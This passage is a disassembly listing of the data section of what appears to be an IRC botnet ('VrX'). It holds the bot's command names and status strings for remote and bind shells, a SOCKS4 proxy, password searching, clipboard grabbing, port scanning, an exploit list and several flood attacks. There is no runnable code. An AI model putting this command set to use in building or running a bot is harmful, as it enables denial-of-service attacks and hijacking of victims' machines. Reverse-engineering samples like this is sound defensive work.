aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC94	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCBC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCCC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BCF8	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD28	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD78	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA4	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDF8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE18	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE1C	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE34	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE84	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BE9C	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB4	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BECC	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF08	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF4C	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF84	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFD8	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C00C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C038	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C05C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C088	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C114	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C18C	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C238	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C258	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C290	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C34C	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C388	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C444	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 10h
unk_42C520	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C564	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C568	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438AFCo
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C628	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C64C	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438B4Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438768o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C70C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C72C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 10h
dword_42C750	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 10h
dword_42C7A0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C81C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C82C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C83C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C84C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C85C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C868	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C874	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C880	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C898	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8A4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8CC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8E8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C8F8	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C914	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C920	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C934	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C940	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C94C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C968	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C988	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9C4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 10h
dword_42C9E0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA08	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAAC:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAF4	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBB8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CBFC	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC38	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC50	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC74	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC80	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCC0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCC8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCDC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
